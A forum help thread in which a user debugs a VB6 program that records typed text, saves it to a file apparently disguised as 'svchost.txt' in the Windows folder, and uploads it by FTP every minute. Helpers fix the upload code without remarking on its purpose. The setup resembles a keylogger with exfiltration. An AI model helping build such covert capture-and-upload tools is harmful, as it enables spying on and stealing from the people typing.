|
-
Apr 11th, 2011, 10:56 PM
#1
Thread Starter
Junior Member
[RESOLVED]Help with uploading a file
VISUAL BASIC 6
SO Basically, I made a program that SHOULD...
When I type anything it goes onto a label in my form (I write php stuff)
Every 30ish seconds it saves what is written in the form onto a text file
And every 60 seconds it uploads that text file to my ftp. (I'm using t35.com)
Now, almost everything works. The part that doesn't work is the uploading the .txt to my ftp.
I have a inet on my form. These are the properties on my inet.
(Name) = Inet1
Password = "My Password"
Protocol = icFTP
Remote Host = ftp.t35.com
Remote Port = 21
Username = "My Username".t35.com
My URL = ftp://"My Username".t35.com:"My Password"@ftp.t35.com
And the code in my timer, named Timer3, is
Code:
Private Sub Timer3_Timer()
On Error Resume Next
Inet1.Execute , "PUT C:\windows\phpness.txt /" & DateTime.Date & ".txt"
End Sub
It doesn't work...
Help? =D
Last edited by Dgameman1; Apr 12th, 2011 at 06:14 PM.
-
Apr 12th, 2011, 01:16 AM
#2
Re: Help with uploading a file
First thing I'd do is remove the 'On Error Resume Next' since it may be hiding a problem. Then I'd make sure that you are enabling the Timer at the appropriate time in the scheme of things.
-
Apr 12th, 2011, 01:27 AM
#3
Thread Starter
Junior Member
Re: Help with uploading a file
 Originally Posted by Doogle
First thing I'd do is remove the 'On Error Resume Next' since it may be hiding a problem. Then I'd make sure that you are enabling the Timer at the appropriate time in the scheme of things.
The on error resume next is there so that if for some reason my ftp site goes down, then the program doesn't crash.
And my timer is set to run for every 60.
-
Apr 12th, 2011, 01:34 AM
#4
Re: Help with uploading a file
During testing, comment the On Error Resume Next out then. Generally it's better to analyse the error and report it. ie find out what error message is returned and inform the user.
eg
Code:
Private Sub Timer3_Timer()
On Error GoTo InetErr
Inet1.Execute , "PUT C:\windows\phpness.txt /" & DateTime.Date & ".txt"
Exit Sub
InetErr:
MsgBox "Error Uploading File " & Err.Number & " - " & Err.Description,, "Upload File"
End Sub
This will report the error and your program will continue to run.
EDIT: My guesses, at this stage, would be that the file actually doesn't exist, is empty, or you are denied access because it's still open for Writing. Try putting a Breakpoint on the Inet1.Execute statement. When the program stops, try to open c:\windows\phpness.txt in Notepad and see what happens.
Also, what does DateTime.Date look like ? If it has characters such as "/" in it then the target machine must allow them (Windows wont) otherwise it will be an Invalid Filename.
You could try
Code:
Inet1.Execute , "PUT C:\windows\phpness.txt /" & Format(DateTime.Date, "ddmmyyyy") & ".txt"
The filename would be 12042011.txt if it was created today. (Assuming the .Date property looks like "12/04/2011")
BTW using the Windows folder for user files is not a good idea, later versions of Windows restrict access to ths folder (I believe). Better to use something like the Application Data Folder(IMHO)
Last edited by Doogle; Apr 12th, 2011 at 02:16 AM.
-
Apr 12th, 2011, 03:26 AM
#5
Re: Help with uploading a file
does the url get a valid login to the ftp server?
i do my best to test code works before i post it, but sometimes am unable to do so for some reason, and usually say so if this is the case.
Note code snippets posted are just that and do not include error handling that is required in real world applications, but avoid On Error Resume Next
dim all variables as required as often i have done so elsewhere in my code but only posted the relevant part
come back and mark your original post as resolved if your problem is fixed
pete
-
Apr 12th, 2011, 07:27 AM
#6
Re: Help with uploading a file
Welcome to VBForums 
 Originally Posted by Dgameman1
The on error resume next is there so that if for some reason my ftp site goes down, then the program doesn't crash.
Using On Error Resume Next is error ignoring, which is basically asking for the program to fail (or have bugs) without giving you any kind of warning.
To stop the program from crashing, use an error handler which lets you know the issue (as in Doogle's example, but perhaps using something other than a MsgBox). In many cases you will be able to fix the issue somehow, and in the others you will at least know why it isn't working.
For information on error handling etc, see the "Dealing with Errors" section of our Classic VB FAQs (in the FAQ forum)
-
Apr 12th, 2011, 05:53 PM
#7
Thread Starter
Junior Member
Re: Help with uploading a file
I changed my timer3 code to
Code:
Private Sub Timer3_Timer()
On Error GoTo InetErr
Inet1.Execute , "PUT C:\windows\svchost.txt /" & Format(DateTime.Date, "ddmmyyyy") & ".txt"
Exit Sub
InetErr:
MsgBox "Error Uploading File " & Err.Number & " - " & Err.Description, , "Upload File"
End Sub
And after 60 seconds I get a msgbox saying...
Error Uploading File 35755 - No remote computer is specified
EDIT:OMFG. it works
lol thanks guys =P
Last edited by Dgameman1; Apr 12th, 2011 at 06:13 PM.
Posting Permissions
- You may not post new threads
- You may not post replies
- You may not post attachments
- You may not edit your posts
-
Forum Rules
|
Click Here to Expand Forum to Full Width
|